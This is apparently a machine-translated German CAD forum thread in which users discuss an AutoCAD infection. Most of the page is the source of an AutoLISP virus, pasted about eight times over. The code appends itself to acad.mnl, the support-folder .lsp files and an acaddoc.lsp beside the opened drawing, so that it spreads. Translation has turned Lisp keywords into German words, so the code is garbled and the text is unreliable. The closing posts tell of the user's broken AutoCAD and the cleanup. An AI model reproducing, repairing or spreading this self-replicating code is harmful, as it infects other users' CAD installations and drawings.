(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)
 
das seltsam ist, dass die öffnen, die Dateien, die Sie sputtana mir eigenen autocad mechanischen...wenn ich tun, um Rechteck zu machen, tut es nicht mehr!!!
 
ok gelöst reinstallieren und dem Typ zu sagen, dass mir die Dateien gesendet, dass es das Virus gab. cmq danke, wenn Sie neu starten mich nicht neu installieren und ich versuche Ihre Lösung.

Also sagen Sie mir, es ist normal, Autocad-Acaddoc zu haben. Isp Installationsdateien?
 
heute mit lspcleaner fand mich in den Ordnern der Installation Dateien die acaddoc.lsp-Datei und andere lisp. Er hat es abgesagt! Ist es möglich?
 

Statistik des Forums

Themen
58.521
Beiträge
499.056
Mitglieder
104.110
Neuestes Mitglied
ChristianR

Zurzeit aktive Besucher

Keine Mitglieder online.
Gesamt: 0 (Mitglieder: 0, Gäste: 0)
Zurück
Oben